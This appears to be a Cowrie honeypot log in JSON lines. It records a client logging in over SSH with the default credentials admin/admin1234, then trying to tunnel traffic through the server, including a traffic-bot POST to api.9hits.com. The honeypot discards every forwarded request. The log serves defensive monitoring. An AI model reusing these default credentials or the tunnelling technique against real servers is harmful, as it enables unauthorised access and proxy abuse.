{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:11.769815Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:12.185607Z","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:12.271965Z","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:12.582957Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.5 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QDYqOUZFPkprM3hiKFR1bQ%3D%3D%2Bmm7XJYmDnNY4VuOFiuG56afd8BNEA2jAQ4qsTOVgWvmmGihORixRL2Ts6jq5wvrO9%2FA1pncR%2BerqJM9JIO0zzKI5bb2tAe6HCgiY6WUGSvmUafyLf5QjgL%2Bq%2FoMRMhpjG3rGn2mN5wfrj5vaURGRjwFxp8WAJArkYBeHFtSrcBxTs%2BdehdOB6wcT7BVh3ngYTPEyWX%2FGvjhvuDcR9LuVcjZH8akIxo5A7cGLj822zzLgb97cdEIt1Isz1lwkPLaizpy8sR89btU1%2FqVeTgifZb5NmSw95nA%2BzmnRnO5XzW04F%2FEfmgEJCfwaDrPnbSBZdGhTVorZqTfZZGC0pfpKvpRcvRM4wQ%2BWbgtF7PdDe8o0tTFxMu3K4gGx%2BVHteMB%2Fies0q2gtdcb06B%2BcG3HDNVveYGGOWpJNy%2BYrLJ08gzoBH%2FpmXEsbsLbT8JkRyyheEfw49%2F96hiA6tU3uFXPVlxyS5I2gZw4AhhVtYN2YhyYwk9CTTPeJqkrq0NR7jfM%2FO5PXc9DgEN60c7h0shz4xjrGvRnrJCTnXF%2FyBfbUFPpkJ7y7tnFWxjMmNzR%2FJ3lpcW2%2BvNNlZAR%2FLM1mhUaqa9Wieg9bSNb%2ByO8Kd%2Ba614itkAoK2474Xq5anMdMa14JIdDnLM7ZVJJvTCs2ypCroz4WZS33KbhZA4SDmOF0Zn7h9zY6aNwgpuDU81LkppcNLd6U7IgitY%2BUJeYNKxPe5nra4XWaINPvi%2FjGpL9khnJS1KNJ%2B0StH%2BwPFvI%2Fg%2Bv5p1PejBQKD2RDY%2Fi%2FaApNBfOgNrII%2BZE3glHqbb3Q%2FhQH3Xax0NdP0vom4auFkF07FzM36oFCkLhZBUICwNxLW7uw5z2eTCuVS2LU2rRrmK5R7IK%2FrwzXiaXU8mbyp0fQTTSaYwOk92%2BS4%2Fg2h7Vl9NPG007L79nBoGejIz8ZSADCeQeogDm1IXWRK0xqL6jzo5ripc9tF9hbFRB7K%2BaRYg%2BS8jbK58g3QuncUKsgVPtY1PrLMVyPhW2jbi62BGdo4Rb%2BFCXiBte8kpsy4QQl5ljDSp5eU3hL%2FmqdUT2ofo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.5 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QDYqOUZFPkprM3hiKFR1bQ%3D%3D%2Bmm7XJYmDnNY4VuOFiuG56afd8BNEA2jAQ4qsTOVgWvmmGihORixRL2Ts6jq5wvrO9%2FA1pncR%2BerqJM9JIO0zzKI5bb2tAe6HCgiY6WUGSvmUafyLf5QjgL%2Bq%2FoMRMhpjG3rGn2mN5wfrj5vaURGRjwFxp8WAJArkYBeHFtSrcBxTs%2BdehdOB6wcT7BVh3ngYTPEyWX%2FGvjhvuDcR9LuVcjZH8akIxo5A7cGLj822zzLgb97cdEIt1Isz1lwkPLaizpy8sR89btU1%2FqVeTgifZb5NmSw95nA%2BzmnRnO5XzW04F%2FEfmgEJCfwaDrPnbSBZdGhTVorZqTfZZGC0pfpKvpRcvRM4wQ%2BWbgtF7PdDe8o0tTFxMu3K4gGx%2BVHteMB%2Fies0q2gtdcb06B%2BcG3HDNVveYGGOWpJNy%2BYrLJ08gzoBH%2FpmXEsbsLbT8JkRyyheEfw49%2F96hiA6tU3uFXPVlxyS5I2gZw4AhhVtYN2YhyYwk9CTTPeJqkrq0NR7jfM%2FO5PXc9DgEN60c7h0shz4xjrGvRnrJCTnXF%2FyBfbUFPpkJ7y7tnFWxjMmNzR%2FJ3lpcW2%2BvNNlZAR%2FLM1mhUaqa9Wieg9bSNb%2ByO8Kd%2Ba614itkAoK2474Xq5anMdMa14JIdDnLM7ZVJJvTCs2ypCroz4WZS33KbhZA4SDmOF0Zn7h9zY6aNwgpuDU81LkppcNLd6U7IgitY%2BUJeYNKxPe5nra4XWaINPvi%2FjGpL9khnJS1KNJ%2B0StH%2BwPFvI%2Fg%2Bv5p1PejBQKD2RDY%2Fi%2FaApNBfOgNrII%2BZE3glHqbb3Q%2FhQH3Xax0NdP0vom4auFkF07FzM36oFCkLhZBUICwNxLW7uw5z2eTCuVS2LU2rRrmK5R7IK%2FrwzXiaXU8mbyp0fQTTSaYwOk92%2BS4%2Fg2h7Vl9NPG007L79nBoGejIz8ZSADCeQeogDm1IXWRK0xqL6jzo5ripc9tF9hbFRB7K%2BaRYg%2BS8jbK58g3QuncUKsgVPtY1PrLMVyPhW2jbi62BGdo4Rb%2BFCXiBte8kpsy4QQl5ljDSp5eU3hL%2FmqdUT2ofo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:12.585914Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:12.853330Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1b~\\xff;?\\xcdJ=\\x01B\\xd3\\xfc\\xab\\x953t\\x00lZtN\\x17;sq\\x96GZ\\xe9\\\\_\\x0f 21\\xaf\\xa4\\xf9_j\\xb42\\xb0R\\x85\\xee\\xb4W\\xde\\xae\\x0b\\x06\\xeb\\x8c\\x84\\x08\\x1d\\xc80pM\\xc173\\x07\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\n\\xed\\xcb\\x92\\xd2\\xdc\\x0f\\x83\\xc3\\xc3\\xd5\\xa5ds\\x80o\\xeb\\x97b\\xe2\\xe4\\xf6\\x84O\\x0e\\xfa\\x82c\\x1a{\\x10G\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1b~\\xff;?\\xcdJ=\\x01B\\xd3\\xfc\\xab\\x953t\\x00lZtN\\x17;sq\\x96GZ\\xe9\\\\_\\x0f 21\\xaf\\xa4\\xf9_j\\xb42\\xb0R\\x85\\xee\\xb4W\\xde\\xae\\x0b\\x06\\xeb\\x8c\\x84\\x08\\x1d\\xc80pM\\xc173\\x07\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\n\\xed\\xcb\\x92\\xd2\\xdc\\x0f\\x83\\xc3\\xc3\\xd5\\xa5ds\\x80o\\xeb\\x97b\\xe2\\xe4\\xf6\\x84O\\x0e\\xfa\\x82c\\x1a{\\x10G\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:12.856474Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:13.397779Z","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:13.673397Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'e\\xe1\\xa3\\xf7\\x0e\\xb37%f\\x9a#\\xea\\x93\\x98\\xb88\\xccL\\x91;\\x1e+\\xdd\\x7f\\xc86\\x0b\\xd4\\x8d\\x04\\xe0 :\\xc6.\\xbf\\xaa\\xc6\\x9f\\xe5\\xbf\\x17\\x82\\x1d\\x11\\x94\\xedi\\xd5ed\\n\\x93HM\\x8e\"\\x15\\xba3\\xe1!\\xa2:\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2U\\x83\\xf1\\xe0\\xae\\xa9\\x89\\x1f\\\\\\xfc^\\xac;n\\x8bZ\\x90L\\xe4\\xcb\\xabG]\\xad\\xae\\x99\\xa7\\xa80\\x8a:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'e\\xe1\\xa3\\xf7\\x0e\\xb37%f\\x9a#\\xea\\x93\\x98\\xb88\\xccL\\x91;\\x1e+\\xdd\\x7f\\xc86\\x0b\\xd4\\x8d\\x04\\xe0 :\\xc6.\\xbf\\xaa\\xc6\\x9f\\xe5\\xbf\\x17\\x82\\x1d\\x11\\x94\\xedi\\xd5ed\\n\\x93HM\\x8e\"\\x15\\xba3\\xe1!\\xa2:\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2U\\x83\\xf1\\xe0\\xae\\xa9\\x89\\x1f\\\\\\xfc^\\xac;n\\x8bZ\\x90L\\xe4\\xcb\\xabG]\\xad\\xae\\x99\\xa7\\xa80\\x8a:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:13.676082Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:14.187577Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62673,"dst_ip":"10.17.0.5","dst_port":22,"session":"8229a3e8cf02","protocol":"ssh","message":"New connection: 113.164.152.20:62673 (10.17.0.5:22) [session: 8229a3e8cf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:43.470005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:43.474283Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:43.759256Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49254,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc063385b34f","protocol":"telnet","message":"New connection: 172.81.62.90:49254 (159.203.135.109:23) [session: fc063385b34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:43.826907Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:45.089380Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:45.740491Z","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:45.819443Z","session":"8229a3e8cf02","protocol":"ssh"}
